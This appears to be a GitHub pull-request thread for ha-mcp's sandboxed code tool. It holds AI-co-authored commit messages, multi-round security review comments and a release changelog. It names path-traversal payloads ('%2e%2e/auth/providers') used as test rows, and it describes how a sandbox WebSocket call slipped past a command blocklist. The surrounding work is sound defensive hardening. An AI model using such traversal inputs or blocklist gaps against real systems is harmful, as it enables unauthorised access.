poisoning the addon container model doesn't expose. Lint/mypy/ast-grep all clean. 24 unit tests still pass. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…test The two failing E2Es from 3f508f0 were both written against a Monty sandbox that doesn't expose the primitives I assumed: * ``test_memory_limit_enforced`` used ``bytearray(N)`` — Monty raises ``LookupError: Unable to find 'bytearray' in external functions dict`` because ``bytearray`` isn't an injected helper, so the test hit ``SANDBOX_RUNTIME_ERROR`` instead of the intended ``SANDBOX_LIMIT_EXCEEDED``. Replaced with a string-multiplication allocation (``'x' * (12 * 1024 * 1024)``) which uses only the string-multiply operator — no builtin lookup — and produces a 12 MB allocation that exceeds the 10 MB ``CODE_MODE_MAX_MEMORY`` default. * ``test_recursion_limit_enforced`` used an assigned recursive lambda (``f = lambda n: 1 if n <= 0 else 1 + f(n - 1); f(500)``). Monty doesn't resolve the lambda's binding name from inside its own body (``LookupError: Unable to find 'f' in external functions dict``) so the recursion never actually starts. The test was structurally incapable of triggering the limit. Renamed to ``test_recursion_limit_unreachable_from_user_code`` and replaced with a documenting ``pytest.skip`` that explains why no E2E variant is possible — Monty doesn't allow ``def`` and assigned lambdas can't recurse — and points at the unit-level coverage that locks in the classifier mapping. Also added ``tests/src/unit/test_classify_sandbox_error.py`` (10 tests) covering ``_classify_sandbox_error`` directly: each of the three buckets (LIMIT_EXCEEDED, SYNTAX_UNSUPPORTED, RUNTIME_ERROR) gets its trigger exception types exercised, including the ``RecursionError`` path the E2E can't reach and the ``LookupError: Unable to find 'X' in external functions dict`` that Monty produces for missing builtins (it falls into the default ``SANDBOX_RUNTIME_ERROR`` bucket — the right call because the "use the injected helpers" advice is already in the default suggestions). The other 5 new E2E tests from 3f508f0 (invocation cap, traversal, proxy laundering blocked × 4) all passed in CI; only the two above were broken. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…clean uv.lock
Rebased on current upstream/master (was 8 commits behind) and
regenerated uv.lock so it adds only ``pydantic-monty==0.0.9`` —
the prior lockfile carried 8 unrelated package downgrades that the
fresh resolver pass clears (M1).
H1 — entity_registry/remove + device_registry/remove_config_entry
-----------------------------------------------------------------
The blocklist was using ``config/entity_registry/delete`` and
``config/device_registry/delete`` — neither is a registered HA Core
WS command. Verified ha-mcp itself emits the actually-registered
names: ``tools_entities.py:1130`` uses ``config/entity_registry/remove``
and ``tools_registry.py:753`` uses
``config/device_registry/remove_config_entry``. A sandbox
``ws_send({"type": "config/entity_registry/remove", ...})`` was
slipping past the blocklist and bypassing ``ha_remove_entity``'s
wrapping checks.
Added both real names to ``_BLOCKED_WS_COMMANDS``. Left the dead
``*_registry/delete`` strings as-is — over-blocking inert names is
harmless, under-blocking real ones is the bug.
M2 — percent-encoded ``..`` traversal
-------------------------------------
The segment-loop check at ``_normalize_endpoint`` rejects literal
``..`` segments but treats ``%2e%2e`` as a normal segment. httpx
itself doesn't decode at the transport level, but reverse proxies
(nginx with config drift, traefik with custom routers) sometimes
decode-then-resolve, which would let ``%2e%2e/auth/providers``
escape ``/api/`` server-side. Each segment is now passed through
``urllib.parse.unquote`` before the ``..`` comparison so encoded
forms can't slip past.
M3 — naked list returns from ``_extract_tool_result``
-----------------------------------------------------
The basic-types tuple at line 566 didn't include ``list``, so a
tool returning a plain ``[{"id": 1}, ...]`` fell into the
ToolResult-extraction branch, found no ``.text`` on its dict
elements, and got string-repr'd. Sandbox code ended up with
``"[{'id': 1}, ...]"`` instead of an iterable list.
Lists are now passed through when they don't look like FastMCP's
content-block shape (heuristic: first element has ``.text`` or
``.type`` — the two attributes content blocks always carry). Plain
data lists pass straight to the sandbox.
L1 — sandbox-side error shape contract documented
--------------------------------------------------
Patch76 noted that sandbox code sees two error shapes
(``{"error": str}`` from the bridge helpers, ``{"success": False,
"error": {"code", "message"}}`` from ``_sandbox_error``) and
suggested standardizing on the structured shape. Standardizing
that direction would have changed ~15 existing tests that do
``result.get("error", "").lower()`` blindly. The simpler
``{"error": str}`` shape is what most helpers and tests already
assume, and the structured form has real value for ``call_tool``
(propagates the underlying tool's ``ErrorCode``).
Resolved instead by making the contract explicit in the
``_run_sandboxed_code`` docstring: both shapes are documented,
consumers should always probe with ``if "error" in result:``
before indexing. Same UX outcome (consumers know what to
expect) without churning the tests.
L2 — switched ``%r`` for the justification log line
---------------------------------------------------
Removed the ``_log_safe`` helper and inlined ``%r`` (repr())
for the LLM-supplied ``justification`` log line, matching the
``%r`` already used for endpoint/type fields in the audit-log
lines. ``%r`` escapes ``\r`` / ``\n`` / ``\t`` as literal
``\r`` / ``\n`` / ``\t`` sequences in formatted output — same
log-injection prevention as ``_log_safe`` but consistent with
the rest of the file.
L4 / L5 / L6 — clarifying comments
----------------------------------
* L4: Note next to the ``_saved_tools_load_failed`` read in
``_save_saved_tools`` that the read is intentionally without
``global`` — Python doesn't require it for read-only access.
* L5: One-line clarification in ``_normalize_endpoint``'s
docstring that ``@`` later in the path (``events/foo@bar``)
is acceptable — only userinfo position (before the first
``/``) is the credential-leaking shape.
* L6: Block comment on the ``_saved_tools`` module-level
declaration explaining *why* it's at module level
(cross-call persistence is the documented contract;
per-request scope wouldn't allow ``run_saved`` to see prior
``save_as`` writes), and pointing at
``code_mode_saved_tools_path`` as the persistence boundary.
Test expansion — full ``_BLOCKED_WS_COMMANDS`` parametrize
----------------------------------------------------------
``test_ws_send_blocks_command`` now parametrizes over all 25
entries in ``_BLOCKED_WS_COMMANDS`` (was: 3 hand-picked cases).
The "blocklist names a command HA Core doesn't accept" class
of bug surfaces in CI now: if the blocklist drops an entry,
the corresponding parametrize row fails; if HA Core renames a
command, the test fails with the now-stale name still in the
parametrize list and a maintainer notices.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
144122a to
58899e8
Compare
Patch76
left a comment
There was a problem hiding this comment.
Round-4 verification at HEAD 58899e8b. All 10 round-3 findings (H1, M1, M2, M3, L1–L6) are resolved at the source level — _BLOCKED_WS_COMMANDS now contains config/entity_registry/remove and config/device_registry/remove_config_entry (tools_code.py:175,182), _normalize_endpoint calls urllib.parse.unquote(segment) (tools_code.py:704), _extract_tool_result has the new list branch (tools_code.py:564-568), _log_safe and _LOG_CONTROL_CHARS_MAP are deleted, %r standardization is consistent across the audit lines, the docstring contract for sandbox error shapes is clear (tools_code.py:621-642), and the L4/L5/L6 inline comments landed. uv.lock is clean against current master — only pydantic-monty==0.0.9 added, zero unrelated downgrades.
One round-4-specific observation worth landing in this PR before merge:
M-A — %2e%2e test coverage missing for the M2 source fix
tests/src/e2e/tools/test_create_custom_tool.py:1717-1722 — the existing TestCodeModeNormalizeEndpointTraversal parametrize covers four literal .. variants but no percent-encoded ones. The round-3 M2 fix at tools_code.py:704 adds urllib.parse.unquote(segment) specifically for %2e%2e — but a future refactor that drops the unquote call would not fail any existing parametrize row, silently re-opening the attack surface.
Suggested addition (two lines, inline with the existing list):
"%2e%2e/auth/providers", # percent-encoded ..
"%2E%2E/auth/providers", # uppercase percent-encodedPins the regression bar for the specific attack variant the round-3 review called out, in the same idiom as the existing rows.
Out of scope for this PR (notes for follow-up)
- M-B —
_extract_tool_result's new list-passthrough branch (tools_code.py:564-568) has no direct test exercising[{"id": 1}, ...]shapes. Contract-pin, not security-load-bearing. - L-A — the content-block heuristic at
tools_code.py:564-568useshasattronly. Raw-dict content blocks (theoretical for current FastMCP, where blocks are Pydantic models) would be misclassified becausehasattr({"type": "text", ...}, "text")returnsFalse. The comment above says "or being a content-block dict" but the code doesn't check dict-key shape. One-line widening (isinstance(result[0], dict) and ("text" in result[0] or "type" in result[0])) would close the gap if FastMCP ever ships dict content blocks.
…ugh contract
Addresses round-4 review findings.
M-A — percent-encoded ``..`` traversal regression bar
-----------------------------------------------------
Two new parametrize rows in
``TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segment``:
* ``%2e%2e/auth/providers`` (lowercase percent-encoded)
* ``%2E%2E/auth/providers`` (uppercase percent-encoded)
The round-3 M2 source fix added ``urllib.parse.unquote(segment)``
specifically to catch this attack variant on reverse-proxy setups
that decode-then-resolve. Without these test rows, a future refactor
that drops the ``unquote`` call would silently re-open the surface —
no existing parametrize row covers it.
Verified locally that ``urllib.parse.unquote`` resolves both case
variants (``%2e%2e``, ``%2E%2E``, mixed ``%2e%2E``) to ``..`` so the
existing segment guard fires identically.
M-B — ``_extract_tool_result`` naked-list passthrough
-----------------------------------------------------
New unit suite ``tests/src/unit/test_extract_tool_result.py`` covering
the M3 round-3 fix at the helper level:
* Basic-type passthrough (``str``, ``int``, ``float``, ``bool``,
``None``, ``dict``).
* Naked-list passthrough — the M3 contract. Lists of dicts, strings,
ints, mixed basic types, empty list, and dicts whose keys aren't
content-block keys all reach the sandbox as iterable lists rather
than ``str(list)`` reprs. The example Patch76 explicitly cited
(``[{"id": 1}, {"id": 2}]``) is one of the rows.
* Attribute-style content blocks (FastMCP's current Pydantic-model
shape) get extracted and JSON-decoded — distinguishes them from
the naked-list case.
* End-to-end ToolResult extraction: JSON payload, plain-text payload,
``isError=True`` wrapping in ``{"error": ...}``.
L-A note (left as-is, per follow-up scope)
------------------------------------------
The dict-content-block heuristic widening Patch76 suggested
(``isinstance(result[0], dict) and ("text" in result[0] or "type" in
result[0])``) was originally implemented in this commit but reverted.
FastMCP currently ships content blocks as Pydantic model objects so
``hasattr`` matches; a future switch to raw-dict blocks would
misclassify them as a "data list" and pass them through, which still
reaches the sandbox as a readable list of dicts (slightly weird shape
but not a bug today). Forward-compat speculation, not a real-world
regression — keeping out per "follow-up scope" guidance.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Round-4 review responseLands in M-A —
|
Patch76
left a comment
There was a problem hiding this comment.
Round-5 verified at HEAD 8c007405. Both round-4 items addressed; the L-A decline is reasonable.
- M-A —
TestCodeModeNormalizeEndpointTraversal::test_api_get_rejects_dot_dot_segmentparametrize attests/src/e2e/tools/test_create_custom_tool.py:1718-1730is now 6 rows (4 prior +%2e%2elowercase +%2E%2Euppercase). Each new row exercisesurllib.parse.unquoteattools_code.py:705— a future refactor dropping the unquote call would now fail CI on these rows. - M-B — new
tests/src/unit/test_extract_tool_result.py(16 tests across 4 classes) pins basic-type passthrough, naked-list passthrough (including the[{"id":1},{"id":2}]example from round-3 with an explicit comment naming the round-3 callout), attribute-style content-block extraction, and ToolResult-level extraction (JSON/text/isErrorwrapping). All 16 pass locally. - L-A — declined with reasoning (FastMCP currently ships Pydantic-model content blocks so
hasattrmatches; a future raw-dict shape change would land readable lists in the sandbox rather than a real bug). The decline is cleanly bounded — no test was committed that would silently break under the unchanged heuristic.
Round-1-through-3 fixes all intact at HEAD: H1 absolute-URL guard at tools_code.py:686-689, M1 @-userinfo guard at :691-695, M2 ..-segment plus percent-decoded guard at :704-710, M3 naked-list passthrough heuristic at :564-569. Round-5 diff is test-only (+156 lines, 0 production), so no regression surface.
🧪 Your changes are now in the dev channel!Your PR has been merged to master and is available for testing in the dev channel. Test your changes before the next stable release (biweekly Wednesday): Quick start# Run dev version
uvx ha-mcp-dev
# Check version
uvx ha-mcp-dev --versionDocker: docker pull ghcr.io/homeassistant-ai/ha-mcp:dev
docker run --rm -i \
-e HOMEASSISTANT_URL=http://your-ha:8123 \
-e HOMEASSISTANT_TOKEN=your_token \
ghcr.io/homeassistant-ai/ha-mcp:devFound an issue? Please open a new bug report and mention this PR for context. |
…→ 7.5.0) (#455) This PR contains the following updates: | Package | Update | Change | |---|---|---| | [ghcr.io/homeassistant-ai/ha-mcp](https://github.com/homeassistant-ai/ha-mcp) | minor | `7.4.0` → `7.5.0` | --- >⚠️ **Warning** > > Some dependencies could not be looked up. Check the [Dependency Dashboard](issues/3) for more information. --- ### Release Notes <details> <summary>homeassistant-ai/ha-mcp (ghcr.io/homeassistant-ai/ha-mcp)</summary> ### [`v7.5.0`](https://github.com/homeassistant-ai/ha-mcp/blob/HEAD/CHANGELOG.md#v750-2026-05-13) [Compare Source](homeassistant-ai/ha-mcp@v7.4.0...v7.5.0) ##### Added - Add ENABLE\_LITE\_DOCSTRINGS beta toggle ([#​1259](homeassistant-ai/ha-mcp#1259)) - Add ha\_call\_event tool for publishing events on the HA event bus ([#​996](homeassistant-ai/ha-mcp#996)) ([#​1239](homeassistant-ai/ha-mcp#1239)) - Pinpoint backslash-escape mistake in python\_sandbox errors ([#​1204](homeassistant-ai/ha-mcp#1204)) - Reject empty-trigger automations targeting scene.create ([#​1187](homeassistant-ai/ha-mcp#1187)) - Add scene config tools — ha\_config\_get/set/remove\_scene ([#​1168](homeassistant-ai/ha-mcp#1168)) - **addon**: Optional OAuth 2.1 mode for webhook proxy (beta) ([#​1184](homeassistant-ai/ha-mcp#1184)) - Surface helper schema inline in ha\_config\_set\_helper validation errors ([#​1149](homeassistant-ai/ha-mcp#1149)) ([#​1179](homeassistant-ai/ha-mcp#1179)) - Emit progress via FastMCP Context in long-running tools ([#​1124](homeassistant-ai/ha-mcp#1124)) - Broaden python\_transform AST allowlist + improve error UX ([#​1163](homeassistant-ai/ha-mcp#1163)) - Add ha\_manage\_custom\_tool — sandboxed code execution escape hatch ([#​854](homeassistant-ai/ha-mcp#854)) - Always-on skills; rename list/read resource tools with ha\_ prefix ([#​1136](homeassistant-ai/ha-mcp#1136)) - Expose device\_class + options on ha\_set\_entity / ha\_get\_entity (Show As) ([#​1135](homeassistant-ai/ha-mcp#1135)) - **site**: Inline wizard data into setup.astro, migrate setup nuggets, drop content collections ([#​1120](homeassistant-ai/ha-mcp#1120)) - Add "Advanced debug logging" toggle for kill-signal diagnostics ([#​1117](homeassistant-ai/ha-mcp#1117)) - **yaml**: Scoped lovelace.dashboards.\<url\_path> support (issue [#​1034](homeassistant-ai/ha-mcp#1034)) ([#​1103](homeassistant-ai/ha-mcp#1103)) - Add HA\_VERIFY\_SSL toggle to disable TLS verification ([#​1104](homeassistant-ai/ha-mcp#1104)) - Per-top-level-key config\_hash for ha\_manage\_energy\_prefs ([#​1049](homeassistant-ai/ha-mcp#1049)) ([#​1098](homeassistant-ai/ha-mcp#1098)) - **site**: Add gemini-cli setup notes + compose hardening to wizard ([#​1027](homeassistant-ai/ha-mcp#1027)) ([#​1087](homeassistant-ai/ha-mcp#1087)) - Add convenience modes to ha\_manage\_energy\_prefs ([#​1050](homeassistant-ai/ha-mcp#1050)) ([#​1073](homeassistant-ai/ha-mcp#1073)) - Surface integration log levels in ha\_get\_logs/integration/addon ([#​956](homeassistant-ai/ha-mcp#956)) ([#​1003](homeassistant-ai/ha-mcp#1003)) - Expose allowlist\_external\_dirs in ha\_get\_overview full system\_info ([#​1053](homeassistant-ai/ha-mcp#1053)) - **dashboards**: Unify identifier handling in ha\_config\_\*\_dashboard tools ([#​981](homeassistant-ai/ha-mcp#981)) ([#​1075](homeassistant-ai/ha-mcp#1075)) - Include addon container logs in bug reports ([#​934](homeassistant-ai/ha-mcp#934)) - Add WebSocket response-shaping controls to ha\_manage\_addon ([#​1009](homeassistant-ai/ha-mcp#1009)) - Web-based settings UI for per-tool enable/disable/pin ([#​960](homeassistant-ai/ha-mcp#960)) - **site**: Add OpenCode support to setup wizard ([#​1080](homeassistant-ai/ha-mcp#1080)) ##### Changed - Clarify standard-mode HTTP deployment guidance ([#​1185](homeassistant-ai/ha-mcp#1185)) - Add Cloudflared add-on hostname alternative for tunnel service ([#​1183](homeassistant-ai/ha-mcp#1183)) - Align tool naming convention between AGENTS.md and styleguide ([#​943](homeassistant-ai/ha-mcp#943)) ([#​1174](homeassistant-ai/ha-mcp#1174)) - **addon**: Note tool-list ([#​985](homeassistant-ai/ha-mcp#985 divergence; fix [#​1139](https://github.com/homeassistant-ai/ha-mcp/issues/1139)/[#​1162](https://github.com/homeassistant-ai/ha-mcp/issues/1162) test conflict ([#​1172](homeassistant-ai/ha-mcp#1172)) - Add brew install option for mcp-proxy on macOS ([#​1171](homeassistant-ai/ha-mcp#1171)) - Update contributors list \[contributors-updated] ([`aba01a1`](homeassistant-ai/ha-mcp@aba01a1)) - Warn against enable\_tool\_search on Claude Sonnet/Opus ([#​1088](homeassistant-ai/ha-mcp#1088)) ([#​1140](homeassistant-ai/ha-mcp#1140)) - Address [#​1094](homeassistant-ai/ha-mcp#1094) review nits on OpenCode mirror comments ([#​1105](homeassistant-ai/ha-mcp#1105)) ##### Fixed - **integrations**: Surface ConfigEntry.options via OptionsFlow probe ([#​1245](homeassistant-ai/ha-mcp#1245)) - **backup**: Discover local agent at call time instead of hardcoding hassio.local ([#​1244](homeassistant-ai/ha-mcp#1244)) - Triage all 10 ha\_search\_entities behaviors from [#​1170](homeassistant-ai/ha-mcp#1170) ([#​1195](homeassistant-ai/ha-mcp#1195)) - Replace cron with systemd for demo server (prevents process leak) ([#​1110](homeassistant-ai/ha-mcp#1110)) - Improve ha\_manage\_addon discoverability (BM25 keywords + slug examples) ([#​1200](homeassistant-ai/ha-mcp#1200)) - Route Supervisor 401s to structured tool errors + add E2E coverage ([#​1129](homeassistant-ai/ha-mcp#1129)) ([#​1192](homeassistant-ai/ha-mcp#1192)) - Harden \_validate\_category\_id gate to cover dict-promoted category ([#​1190](homeassistant-ai/ha-mcp#1190)) - Broaden template anti-pattern detection + skill discoverability ([#​1011](homeassistant-ai/ha-mcp#1011)) ([#​1181](homeassistant-ai/ha-mcp#1181)) - Return newest automation traces, add offset+order pagination ([#​1177](homeassistant-ai/ha-mcp#1177)) ([#​1178](homeassistant-ai/ha-mcp#1178)) - **security**: Write YAML backups outside www/ (GHSA-g39v-cvjh-8fpf) ([#​1180](homeassistant-ai/ha-mcp#1180)) - **search**: Apply domain\_filter when area\_filter is set ([#​1162](homeassistant-ai/ha-mcp#1162)) ([#​1165](homeassistant-ai/ha-mcp#1165)) - **resources**: Reject HA-config YAML in dashboard resource content ([#​1160](homeassistant-ai/ha-mcp#1160)) - Close 19 bugs in ha\_config\_set\_helper (issue [#​1150](homeassistant-ai/ha-mcp#1150)) ([#​1151](homeassistant-ai/ha-mcp#1151)) - Route addon log fetches directly to supervisor on addon installs ([#​1126](homeassistant-ai/ha-mcp#1126)) - Survive read-only filesystems at startup ([#​1138](homeassistant-ai/ha-mcp#1138)) - **helpers**: Clarify name-required-on-create for ha\_config\_set\_helper ([#​1143](homeassistant-ai/ha-mcp#1143)) - Resolve disabled entities via entity\_registry in helper deletion ([#​1119](homeassistant-ai/ha-mcp#1119)) - Allow unary operators in python\_transform sandbox ([#​1118](homeassistant-ai/ha-mcp#1118)) - **site**: Add github-copilot-agents wizard branch + delete unreferenced data/clients.ts ([#​1108](homeassistant-ai/ha-mcp#1108)) - **addons**: Route addon API calls through HA Core ingress proxy ([#​1069](homeassistant-ai/ha-mcp#1069)) - **webhook-proxy**: Surface webhook registration failures instead of silently loading ([#​1101](homeassistant-ai/ha-mcp#1101)) - **site**: Resolve client display-order collisions and anchor OpenCode shape ([#​1094](homeassistant-ai/ha-mcp#1094)) ##### Performance Improvements - Dedupe lovelace/dashboards/list in ha\_config\_set\_dashboard ([#​1085](homeassistant-ai/ha-mcp#1085)) ([#​1191](homeassistant-ai/ha-mcp#1191)) ##### Refactoring - Drop obsolete ha\_mcp\_tools defensive ruamel.yaml imports ([post-#​1268](https://github.com/post-/ha-mcp/issues/1268)) ([#​1269](homeassistant-ai/ha-mcp#1269)) - Extract shared Supervisor httpx client helper ([#​1130](homeassistant-ai/ha-mcp#1130)) ([#​1203](homeassistant-ai/ha-mcp#1203)) - Surface client identity, AI model, config toggles, and prompt context in ha\_report\_issue ([#​1189](homeassistant-ai/ha-mcp#1189)) - Harden Context injection with safe-emit + branch coverage ([#​1173](homeassistant-ai/ha-mcp#1173)) - Consolidate area/floor set+remove tools (revisit of [#​813](homeassistant-ai/ha-mcp#813)) ([#​1139](homeassistant-ai/ha-mcp#1139)) - Pass verify\_ssl to remaining direct-Supervisor httpx callers ([#​1128](homeassistant-ai/ha-mcp#1128)) - Validate only new entries on convenience-mode writes ([#​1086](homeassistant-ai/ha-mcp#1086)) ([#​1100](homeassistant-ai/ha-mcp#1100)) *** <details> <summary>Internal Changes</summary> ##### Fixed - **ci**: Align pr.yml E2E with --dist loadscope ([#​1206](homeassistant-ai/ha-mcp#1206)) ([#​1247](homeassistant-ai/ha-mcp#1247)) - **ci**: Switch Renovate to a GitHub App token to allow workflow-file pushes ([#​1229](homeassistant-ai/ha-mcp#1229)) - **ci**: Break gemini-triage retrigger loop and bump turn budget ([#​1131](homeassistant-ai/ha-mcp#1131)) - **ci**: Harden gemini-triage so failures stop spamming user issues ([#​1122](homeassistant-ai/ha-mcp#1122)) - **ci**: Unbreak hotfix-release semantic-release run ([#​1091](homeassistant-ai/ha-mcp#1091)) ##### Chores - **addon**: Publish dev addon version 7.4.1.dev299 \[skip ci] ([`397aa6d`](homeassistant-ai/ha-mcp@397aa6d)) - **addon**: Publish dev addon version 7.4.1.dev298 \[skip ci] ([`942b7e0`](homeassistant-ai/ha-mcp@942b7e0)) - Sync tool docs after merge \[skip ci] ([`6823c47`](homeassistant-ai/ha-mcp@6823c47)) - **addon**: Publish dev addon version 7.4.1.dev297 \[skip ci] ([`6eac062`](homeassistant-ai/ha-mcp@6eac062)) - **addon**: Publish dev addon version 7.4.1.dev296 \[skip ci] ([`b2afe93`](homeassistant-ai/ha-mcp@b2afe93)) - **addon**: Publish dev addon version 7.4.1.dev295 \[skip ci] ([`4f4c4f3`](homeassistant-ai/ha-mcp@4f4c4f3)) - **deps**: Update ghcr.io/home-assistant/home-assistant docker tag to v2026.5.1 ([#​1236](homeassistant-ai/ha-mcp#1236)) - **addon**: Publish dev addon version 7.4.1.dev294 \[skip ci] ([`fd24991`](homeassistant-ai/ha-mcp@fd24991)) - **deps**: Update ghcr.io/astral-sh/uv docker tag to v0.11.13 ([#​1233](homeassistant-ai/ha-mcp#1233)) - **addon**: Publish dev addon version 7.4.1.dev293 \[skip ci] ([`fcc6496`](homeassistant-ai/ha-mcp@fcc6496)) - **addon**: Publish dev addon version 7.4.1.dev292 \[skip ci] ([`2961650`](homeassistant-ai/ha-mcp@2961650)) - **addon**: Publish dev addon version 7.4.1.dev291 \[skip ci] ([`5703112`](homeassistant-ai/ha-mcp@5703112)) - **addon**: Publish dev addon version 7.4.1.dev290 \[skip ci] ([`19b2f65`](homeassistant-ai/ha-mcp@19b2f65)) - **addon**: Publish dev addon version 7.4.1.dev289 \[skip ci] ([`e5a1365`](homeassistant-ai/ha-mcp@e5a1365)) - Sync tool docs after merge \[skip ci] ([`d2ff93b`](homeassistant-ai/ha-mcp@d2ff93b)) - **addon**: Publish dev addon version 7.4.1.dev288 \[skip ci] ([`0f62400`](homeassistant-ai/ha-mcp@0f62400)) - Sync tool docs after merge \[skip ci] ([`c7e2066`](homeassistant-ai/ha-mcp@c7e2066)) - **addon**: Publish dev addon version 7.4.1.dev287 \[skip ci] ([`c1133d4`](homeassistant-ai/ha-mcp@c1133d4)) - **addon**: Publish dev addon version 7.4.1.dev286 \[skip ci] ([`1ae790e`](homeassistant-ai/ha-mcp@1ae790e)) - **addon**: Publish dev addon version 7.4.1.dev285 \[skip ci] ([`2387d0c`](homeassistant-ai/ha-mcp@2387d0c)) - **addon**: Publish dev addon version 7.4.1.dev284 \[skip ci] ([`dd3a4a5`](homeassistant-ai/ha-mcp@dd3a4a5)) - **addon**: Publish dev addon version 7.4.1.dev283 \[skip ci] ([`78af8eb`](homeassistant-ai/ha-mcp@78af8eb)) - Sync tool docs after merge \[skip ci] ([`093fd74`](homeassistant-ai/ha-mcp@093fd74)) - **addon**: Publish dev addon version 7.4.1.dev282 \[skip ci] ([`2141e15`](homeassistant-ai/ha-mcp@2141e15)) - Sync tool docs after merge \[skip ci] ([`7810c95`](homeassistant-ai/ha-mcp@7810c95)) - **addon**: Publish dev addon version 7.4.1.dev281 \[skip ci] ([`7d79ec2`](homeassistant-ai/ha-mcp@7d79ec2)) - Sync tool docs after merge \[skip ci] ([`a73dc81`](homeassistant-ai/ha-mcp@a73dc81)) - **addon**: Publish dev addon version 7.4.1.dev280 \[skip ci] ([`c858ce3`](homeassistant-ai/ha-mcp@c858ce3)) - Sync tool docs after merge \[skip ci] ([`a587be0`](homeassistant-ai/ha-mcp@a587be0)) - **addon**: Publish dev addon version 7.4.1.dev279 \[skip ci] ([`b78ddb2`](homeassistant-ai/ha-mcp@b78ddb2)) - Sync tool docs after merge \[skip ci] ([`1210725`](homeassistant-ai/ha-mcp@1210725)) - **addon**: Publish dev addon version 7.4.1.dev278 \[skip ci] ([`a282c17`](homeassistant-ai/ha-mcp@a282c17)) - **addon**: Publish dev addon version 7.4.1.dev277 \[skip ci] ([`1081768`](homeassistant-ai/ha-mcp@1081768)) - Sync tool docs after merge \[skip ci] ([`e03f5d2`](homeassistant-ai/ha-mcp@e03f5d2)) - **addon**: Publish dev addon version 7.4.1.dev276 \[skip ci] ([`c4ef680`](homeassistant-ai/ha-mcp@c4ef680)) - **addon**: Publish dev addon version 7.4.1.dev275 \[skip ci] ([`780422d`](homeassistant-ai/ha-mcp@780422d)) - Sync tool docs after merge \[skip ci] ([`8a2bd1a`](homeassistant-ai/ha-mcp@8a2bd1a)) - **addon**: Publish dev addon version 7.4.1.dev274 \[skip ci] ([`f0f09de`](homeassistant-ai/ha-mcp@f0f09de)) - **addon**: Publish dev addon version 7.4.1.dev273 \[skip ci] ([`cb49f68`](homeassistant-ai/ha-mcp@cb49f68)) - **addon**: Publish dev addon version 7.4.1.dev272 \[skip ci] ([`5097186`](homeassistant-ai/ha-mcp@5097186)) - **addon**: Publish dev addon version 7.4.1.dev271 \[skip ci] ([`4714342`](homeassistant-ai/ha-mcp@4714342)) - **addon**: Publish dev addon version 7.4.1.dev270 \[skip ci] ([`217982a`](homeassistant-ai/ha-mcp@217982a)) - **addon**: Publish dev addon version 7.4.1.dev269 \[skip ci] ([`a65dd5f`](homeassistant-ai/ha-mcp@a65dd5f)) - Sync tool docs after merge \[skip ci] ([`0e6b54f`](homeassistant-ai/ha-mcp@0e6b54f)) - **addon**: Publish dev addon version 7.4.1.dev268 \[skip ci] ([`60ba1f2`](homeassistant-ai/ha-mcp@60ba1f2)) - **addon**: Publish dev addon version 7.4.1.dev267 \[skip ci] ([`13412aa`](homeassistant-ai/ha-mcp@13412aa)) - Sync tool docs after merge \[skip ci] ([`2702a0f`](homeassistant-ai/ha-mcp@2702a0f)) - **addon**: Publish dev addon version 7.4.1.dev266 \[skip ci] ([`77abe0b`](homeassistant-ai/ha-mcp@77abe0b)) - **addon**: Publish dev addon version 7.4.1.dev265 \[skip ci] ([`08b69db`](homeassistant-ai/ha-mcp@08b69db)) - Sync tool docs after merge \[skip ci] ([`c1f24b5`](homeassistant-ai/ha-mcp@c1f24b5)) - **addon**: Publish dev addon version 7.4.1.dev264 \[skip ci] ([`f2583f6`](homeassistant-ai/ha-mcp@f2583f6)) - Sync tool docs after merge \[skip ci] ([`c2ed2d3`](homeassistant-ai/ha-mcp@c2ed2d3)) - **addon**: Publish dev addon version 7.4.1.dev263 \[skip ci] ([`9d43e54`](homeassistant-ai/ha-mcp@9d43e54)) - **addon**: Publish dev addon version 7.4.1.dev262 \[skip ci] ([`a7355c8`](homeassistant-ai/ha-mcp@a7355c8)) - Sync tool docs after merge \[skip ci] ([`085bd8a`](homeassistant-ai/ha-mcp@085bd8a)) - Convert agents to skills ([#​1084](homeassistant-ai/ha-mcp#1084)) - **addon**: Publish dev addon version 7.4.1.dev261 \[skip ci] ([`0d1af36`](homeassistant-ai/ha-mcp@0d1af36)) - **addon**: Publish dev addon version 7.4.1.dev260 \[skip ci] ([`29397dc`](homeassistant-ai/ha-mcp@29397dc)) - **addon**: Publish dev addon version 7.4.1.dev259 \[skip ci] ([`4bbc74b`](homeassistant-ai/ha-mcp@4bbc74b)) - Sync tool docs after merge \[skip ci] ([`0f6d41e`](homeassistant-ai/ha-mcp@0f6d41e)) - **addon**: Publish dev addon version 7.4.1.dev258 \[skip ci] ([`6751d08`](homeassistant-ai/ha-mcp@6751d08)) - **addon**: Publish dev addon version 7.4.1.dev257 \[skip ci] ([`2213c89`](homeassistant-ai/ha-mcp@2213c89)) - **addon**: Publish dev addon version 7.4.1.dev256 \[skip ci] ([`18a366e`](homeassistant-ai/ha-mcp@18a366e)) - **addon**: Publish dev addon version 7.4.1.dev255 \[skip ci] ([`0e9b18d`](homeassistant-ai/ha-mcp@0e9b18d)) - **addon**: Publish dev addon version 7.4.1.dev254 \[skip ci] ([`39fc65b`](homeassistant-ai/ha-mcp@39fc65b)) - Sync tool docs after merge \[skip ci] ([`9fa0aea`](homeassistant-ai/ha-mcp@9fa0aea)) - **addon**: Publish dev addon version 7.4.1.dev253 \[skip ci] ([`0dcc59e`](homeassistant-ai/ha-mcp@0dcc59e)) - Sync tool docs after merge \[skip ci] ([`ec7413f`](homeassistant-ai/ha-mcp@ec7413f)) - **addon**: Publish dev addon version 7.4.1.dev252 \[skip ci] ([`345640c`](homeassistant-ai/ha-mcp@345640c)) - **addon**: Publish dev addon version 7.4.1.dev251 \[skip ci] ([`bab9d49`](homeassistant-ai/ha-mcp@bab9d49)) - Sync tool docs after merge \[skip ci] ([`726f0a5`](homeassistant-ai/ha-mcp@726f0a5)) - **addon**: Publish dev addon version 7.4.1.dev250 \[skip ci] ([`ded04ea`](homeassistant-ai/ha-mcp@ded04ea)) - **addon**: Publish dev addon version 7.4.1.dev249 \[skip ci] ([`37d5628`](homeassistant-ai/ha-mcp@37d5628)) - **addon**: Publish dev addon version 7.4.1.dev248 \[skip ci] ([`530786a`](homeassistant-ai/ha-mcp@530786a)) - Sync tool docs after merge \[skip ci] 